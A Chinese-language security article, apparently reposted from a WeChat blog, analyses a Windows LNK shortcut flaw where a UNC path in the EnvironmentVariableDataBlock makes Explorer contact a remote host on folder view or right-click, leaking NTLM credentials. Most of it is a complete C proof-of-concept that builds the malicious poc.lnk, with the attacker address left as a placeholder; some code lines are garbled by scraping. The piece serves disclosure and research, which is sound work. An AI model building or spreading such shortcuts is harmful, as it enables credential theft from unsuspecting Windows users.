右键点击就能窃取 NTLM 密码?- 技术分析与 PoC

admin 2025年5月1日01:16:47评论0 views字数 11342阅读37分48秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。



防走失:https://gugesay.com/archives/4224

不想错过任何消息?设置星标↓ ↓ ↓


右键点击就能窃取 NTLM 密码?- 技术分析与 PoC

起因

相信大家还记得前两天的这篇文章:

无需交互即可攻破?CVE-2025-24054正被利用绕过Windows身份验证"

昨天又被爆出“利用NTLM身份验证绕过实现登录Microsoft Telnet服务器”,并且POC已公布,且官方暂无修复补丁。

于是该漏洞就在网上引起热议,其中一位名叫 @nafiez 的网友在上个月的时候,就向 MSRC 报告了 LNK 文件的潜在安全问题,但微软认为该问题依赖于 MOTW(Mark of the Web,Windows 系统用来标记从互联网或不受信任来源下载的文件的一种机制) ,因此并不打算修复。于是该网友就公布了漏洞分析以及 PoC 的详细信息。

原因分析

(纯技术,不想看的可直接跳过)

虽然 MOTW 确实为来自不可信来源的文件提供了一个额外的安全层,但它也提出了一些问题,比如这种保护可能会被绕过,或者 LNK 文件也可以通过不触发 MOTW 的其它载体进行传输。

一直以来,Windows LNK 文件的安全问题都存在争议,它允许攻击者创建恶意的快捷方式来执行命令,同时对于用户来说看起来是“友好”的。

那么利用 LNK 文件结构中的特定位,特别是 HasArguments 标志和带有 UNC 路径的 EnvironmentVariableDataBlock,再结合该漏洞,就能控制执行流程。

EnvironmentVariableDataBlock 看起来非常敏感,你必须将块大小设置为788字节(0x00000314),并且必须设置环境变量数据块的签名,即0xA0000001。

一旦设置这些,就可以为TargetAnsi分配260字节的缓冲区大小,为TargetUnicode分配520字节的缓冲区大小,这就是稍后执行LNK时调用envPath的地方,并调用COMMAND_LINE_ARGUMENTS中的其余参数。在这种情况下,需要在LinkFlags中启用IsUnicode标志,这意味着我们的参数将以Unicode方式调用和执行。

此处 envPath 是支持 UNC 的,我们可以直接调用所需的 UNC 路径,因此,当把变量 envUNC 赋给 UNC 路径时,我们必须在分配 TargetUnicode 空间时设置它。我们的 TargetUnicode 值将作为 UNC 路径的一部分包含在内。技术上,此代码使用其参数创建了带有UNC的EnvironmentVariableDataBlock。

  const char* envUNC = "\\<IP Address Here>\c";

    DWORD envBlockSize = 0x00000314;
    DWORD envSignature = ENVIRONMENTAL_VARIABLES_DATABLOCK_SIGNATURE;

    if (!WriteFile(hFile, &envBlockSize, sizeof(DWORD), &bytesWritten, NULL)) {
        printf("Failed to write env block size: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    if (!WriteFile(hFile, &envSignature, sizeof(DWORD), &bytesWritten, NULL)) {
        printf("Failed to write env block signature: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    char ansiBuffer[260] = { 0 };
    strncpy(ansiBuffer, envUNC, 259);

    if (!WriteFile(hFile, ansiBuffer, 260, &bytesWritten, NULL)) {
        printf("Failed to write TargetAnsi: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    WCHAR unicodeBuffer[260] = { 0 };
    if (MultiByteToWideChar(CP_ACP, 0, envUNC, -1, unicodeBuffer, 260) == 0) {
        printf("Failed to convert to Unicode: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    if (!WriteFile(hFile, unicodeBuffer, 520, &bytesWritten, NULL)) {
        printf("Failed to write TargetUnicode: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

如果我们编译程序并执行 LNK 构建器,我们会在 LNK 文件结构中看到类似这样的内容,并且我们的 EnvironmentVariableDataBlock 被分配了 UNC 路径:

右键点击就能窃取 NTLM 密码?- 技术分析与 PoC
file

为了进一步理解,我们需要在资源管理器上下文中追踪解析的执行流程。

右键点击就能窃取 NTLM 密码?- 技术分析与 PoC
file

可以看到 Windows 将 UNC 路径分解为其组成部分,系统正在搜索反斜杠字符以将服务器名(192.168.44.128)与共享名(c)分开。

这种解析对于确定如何访问网络资源至关重要,带有 SHGDN_FORPARSING 标志的这些调用表明 Windows 正在请求 shell 项的完整解析路径。

右键点击就能窃取 NTLM 密码?- 技术分析与 PoC
file

查询接口调用请求接口GUID {94727de2-b2ed-41b5-9eb5-0939ea9d0efc},该GUID对应于IShellFolder2。此高级文件夹接口扩展了基本的IShellFolder接口,增加了以下功能:

  • 检索扩展属性信息

  • 管理资源管理器视图的列详细信息

  • 处理 shell 项的自定义属性 这个接口链(IInitializeNetworkFolder → IShellFolder2)揭示了 Windows 是如何建立一个分层抽象来处理网络资源的,每一层都增加了专门的功能。

IInitializeNetworkFolder 是 Windows Shell API 中一个专门用于处理网络资源的 COM 接口。

该接口是 Windows 内部架构的一部分,用于表示网络位置并与之交互,它可以初始化表示网络资源(共享、计算机、打印机)的 shell 文件夹对象。当你在资源管理器中访问网络资源时,会发生以下过程:

  • 资源管理器检测到你正在访问网络路径
  • 然后创建一个 shell 文件夹对象来表示此网络位置
  • 这里将通过 IInitializeNetworkFolder::Initialize() 初始化对象

然后,初始化的对象随后将有关网络资源的信息反馈给资源管理器, IInitializeNetworkFolder 为显示和访问对象做好准备。

PoC

所以当用户访问包含 LNK 文件的文件夹时,资源管理器会解析文件夹中存储的任何文件并识别出是哪个文件等,当它成功识别出文件类型,例如 LNK 时,它会解析 LNK 并尝试理解 LNK 的结构。

当用户访问包含 LNK 文件的文件夹时,资源管理器会解析文件夹中存储的任何文件并识别出是哪个文件。

例如调用/执行 UNC 路径。然后当用户右键单击 LNK 文件时,资源管理器已经知道该文件初始化到了网络文件夹。

PoC 代码如下:

#include <windows.h>
#include <stdio.h>

#pragma pack(1)

#pragma warning(disable:4996)

typedefstruct _ShellLinkHeader {
    DWORD       HeaderSize;      
    GUID        LinkCLSID;       
    DWORD       LinkFlags;       
    DWORD       FileAttributes;  
    FILETIME    CreationTime;    
    FILETIME    AccessTime;      
    FILETIME    WriteTime;       
    DWORD       FileSize;        
    DWORD       IconIndex;       
    DWORD       ShowCommand;     
    WORD        HotKey;          
    WORD        Reserved1;       
    DWORD       Reserved2;       
    DWORD       Reserved3;       
} SHELL_LINK_HEADER, * PSHELL_LINK_HEADER;

#define HAS_LINK_TARGET_IDLIST         0x00000001
#define HAS_LINK_INFO                  0x00000002
#define HAS_NAME                       0x00000004
#define HAS_RELATIVE_PATH              0x00000008
#define HAS_WORKING_DIR                0x00000010
#define HAS_ARGUMENTS                  0x00000020
#define HAS_ICON_LOCATION              0x00000040
#define IS_UNICODE                     0x00000080
#define FORCE_NO_LINKINFO              0x00000100
#define HAS_EXP_STRING                 0x00000200
#define RUN_IN_SEPARATE_PROCESS        0x00000400
#define HAS_LOGO3ID                    0x00000800
#define HAS_DARWIN_ID                  0x00001000
#define RUN_AS_USER                    0x00002000
#define HAS_EXP_ICON                   0x00004000
#define NO_PIDL_ALIAS                  0x00008000
#define FORCE_USHORTCUT                0x00010000
#define RUN_WITH_SHIMLAYER             0x00020000
#define FORCE_NO_LINKTRACK             0x00040000
#define ENABLE_TARGET_METADATA         0x00080000
#define DISABLE_LINK_PATH_TRACKING     0x00100000
#define DISABLE_KNOWNFOLDER_TRACKING   0x00200000
#define DISABLE_KNOWNFOLDER_ALIAS      0x00400000
#define ALLOW_LINK_TO_LINK             0x00800000
#define UNALIAS_ON_SAVE                0x01000000
#define PREFER_ENVIRONMENT_PATH        0x02000000
#define KEEP_LOCAL_IDLIST_FOR_UNC      0x04000000

#pragma pack()

#define SW_SHOWNORMAL       0x00000001
#define SW_SHOWMAXIMIZED    0x00000003
#define SW_SHOWMINNOACTIVE  0x00000007

#define ENVIRONMENTAL_VARIABLES_DATABLOCK_SIGNATURE   0xA0000001
#define CONSOLE_DATABLOCK_SIGNATURE                   0xA0000002
#define TRACKER_DATABLOCK_SIGNATURE                   0xA0000003
#define CONSOLE_PROPS_DATABLOCK_SIGNATURE             0xA0000004
#define SPECIAL_FOLDER_DATABLOCK_SIGNATURE            0xA0000005
#define DARWIN_DATABLOCK_SIGNATURE                    0xA0000006
#define ICON_ENVIRONMENT_DATABLOCK_SIGNATURE          0xA0000007
#define SHIM_DATABLOCK_SIGNATURE                      0xA0000008
#define PROPERTY_STORE_DATABLOCK_SIGNATURE            0xA0000009
#define KNOWN_FOLDER_DATABLOCK_SIGNATURE              0xA000000B
#define VISTA_AND_ABOVE_IDLIST_DATABLOCK_SIGNATURE    0xA000000C
#define EMBEDDED_EXE_DATABLOCK_SIGNATURE              0xA000CAFE

int main() {
    constchar* lnkFilePath = "poc.lnk";
    HANDLE hFile;
    DWORD bytesWritten;

    hFile = CreateFileA(lnkFilePath, GENERIC_WRITE, 0NULL, CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("Failed to create LNK file: %lun", GetLastError());
        return1;
    }

    SHELL_LINK_HEADER header = { 0 };
    header.HeaderSize = 0x0000004C;

    header.LinkCLSID.Data1 = 0x00021401;
    header.LinkCLSID.Data2 = 0x0000;
    header.LinkCLSID.Data3 = 0x0000;
    header.LinkCLSID.Data4[0] = 0xC0;
    header.LinkCLSID.Data4[1] = 0x00;
    header.LinkCLSID.Data4[2] = 0x00;
    header.LinkCLSID.Data4[3] = 0x00;
    header.LinkCLSID.Data4[4] = 0x00;
    header.LinkCLSID.Data4[5] = 0x00;
    header.LinkCLSID.Data4[6] = 0x00;
    header.LinkCLSID.Data4[7] = 0x46;

    header.LinkFlags = HAS_NAME |
        HAS_ARGUMENTS |
        HAS_ICON_LOCATION |
        IS_UNICODE |
        HAS_EXP_STRING;

    header.FileAttributes = FILE_ATTRIBUTE_NORMAL;

    SYSTEMTIME st;
    GetSystemTime(&st);
    SystemTimeToFileTime(&st, &header.CreationTime);
    SystemTimeToFileTime(&st, &header.AccessTime);
    SystemTimeToFileTime(&st, &header.WriteTime);

    header.FileSize = 0;
    header.IconIndex = 0;
    header.ShowCommand = SW_SHOWNORMAL;
    header.HotKey = 0;
    header.Reserved1 = 0;
    header.Reserved2 = 0;
    header.Reserved3 = 0;

    if (!WriteFile(hFile, &header, sizeof(SHELL_LINK_HEADER), &bytesWritten, NULL)) {
        printf("Failed to write header: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    constchar* description = "testing purpose";
    WORD descLen = (WORD)strlen(description);
    if (!WriteFile(hFile, &descLen, sizeof(WORD), &bytesWritten, NULL)) {
        printf("Failed to write description length: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    int wideBufSize = MultiByteToWideChar(CP_ACP, 0, description, -1NULL0);
    WCHAR* wideDesc = (WCHAR*)malloc(wideBufSize * sizeof(WCHAR));
    if (!wideDesc) {
        printf("Memory allocation failedn");
        CloseHandle(hFile);
        return1;
    }

    MultiByteToWideChar(CP_ACP, 0, description, -1, wideDesc, wideBufSize);

    if (!WriteFile(hFile, wideDesc, descLen * sizeof(WCHAR), &bytesWritten, NULL)) {
        printf("Failed to write description: %lun", GetLastError());
        free(wideDesc);
        CloseHandle(hFile);
        return1;
    }
    free(wideDesc);

    constchar* calcCmd = "";
    char cmdLineBuffer[1024] = { 0 };
    int cmdLen = strlen(calcCmd);
    int fillBytes = 900 - cmdLen;

    memset(cmdLineBuffer, 0x20, fillBytes);
    strcpy(cmdLineBuffer + fillBytes, calcCmd);
    cmdLineBuffer[900] = '';

    WORD cmdArgLen = (WORD)strlen(cmdLineBuffer);
    if (!WriteFile(hFile, &cmdArgLen, sizeof(WORD), &bytesWritten, NULL)) {
        printf("Failed to write cmd length: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    int wideCmdBufSize = MultiByteToWideChar(CP_ACP, 0, cmdLineBuffer, -1NULL0);
    WCHAR* wideCmd = (WCHAR*)malloc(wideCmdBufSize * sizeof(WCHAR));
    if (!wideCmd) {
        printf("Memory allocation failedn");
        CloseHandle(hFile);
        return1;
    }

    MultiByteToWideChar(CP_ACP, 0, cmdLineBuffer, -1, wideCmd, wideCmdBufSize);

    if (!WriteFile(hFile, wideCmd, cmdArgLen * sizeof(WCHAR), &bytesWritten, NULL)) {
        printf("Failed to write cmd: %lun", GetLastError());
        free(wideCmd);
        CloseHandle(hFile);
        return1;
    }
    free(wideCmd);

    constchar* iconPath = "path\to\your\icon";
    WORD iconLen = (WORD)strlen(iconPath);
    if (!WriteFile(hFile, &iconLen, sizeof(WORD), &bytesWritten, NULL)) {
        printf("Failed to write icon length: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    int wideIconBufSize = MultiByteToWideChar(CP_ACP, 0, iconPath, -1NULL0);
    WCHAR* wideIcon = (WCHAR*)malloc(wideIconBufSize * sizeof(WCHAR));
    if (!wideIcon) {
        printf("Memory allocation failedn");
        CloseHandle(hFile);
        return1;
    }

    MultiByteToWideChar(CP_ACP, 0, iconPath, -1, wideIcon, wideIconBufSize);

    if (!WriteFile(hFile, wideIcon, iconLen * sizeof(WCHAR), &bytesWritten, NULL)) {
        printf("Failed to write icon path: %lun", GetLastError());
        free(wideIcon);
        CloseHandle(hFile);
        return1;
    }
    free(wideIcon);

    constchar* envUNC = "\\<IP address here>\c";

    DWORD envBlockSize = 0x00000314;
    DWORD envSignature = ENVIRONMENTAL_VARIABLES_DATABLOCK_SIGNATURE;

    printf("Creating Environment Variables Data Block:n");
    printf("  Using fixed block size: 0x%08X (%lu bytes)n", envBlockSize, envBlockSize);

    if (!WriteFile(hFile, &envBlockSize, sizeof(DWORD), &bytesWritten, NULL)) {
        printf("Failed to write env block size: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }
    printf("  Write block size: %lu bytes writtenn", bytesWritten);

    if (!WriteFile(hFile, &envSignature, sizeof(DWORD), &bytesWritten, NULL)) {
        printf("Failed to write env block signature: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }
    printf("  Wrote block signature: %lu bytes writtenn", bytesWritten);

    char ansiBuffer[260] = { 0 };
    strncpy(ansiBuffer, envUNC, 259);

    if (!WriteFile(hFile, ansiBuffer, 260, &bytesWritten, NULL)) {
        printf("Failed to write TargetAnsi: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }
    printf("  Write TargetAnsi: %lu bytes written (fixed 260 bytes)n", bytesWritten);

    WCHAR unicodeBuffer[260] = { 0 };
    if (MultiByteToWideChar(CP_ACP, 0, envUNC, -1, unicodeBuffer, 260) == 0) {
        printf("Failed to convert to Unicode: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    if (!WriteFile(hFile, unicodeBuffer, 520, &bytesWritten, NULL)) {
        printf("Failed to write TargetUnicode: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }
    printf("  Write TargetUnicode: %lu bytes written (fixed 520 bytes)n", bytesWritten);

    CloseHandle(hFile);

    printf("LNK file created successfully: %sn", lnkFilePath);
    printf("Command line buffer size: %d bytesn", (int)strlen(cmdLineBuffer));

    return0;
}

视频演示

原文:https://zeifan.my/Right-Click-LNK/

- END -


加入星球,随时交流:


(会员统一定价):128元/年(0.35元/天)右键点击就能窃取 NTLM 密码?- 技术分析与 PoC
感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

原文始发于微信公众号(骨哥说事):右键点击就能窃取 NTLM 密码?- 技术分析与 PoC

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月1日01:16:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   右键点击就能窃取 NTLM 密码?- 技术分析与 PoChttp://cn-sec.com/archives/4021154.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息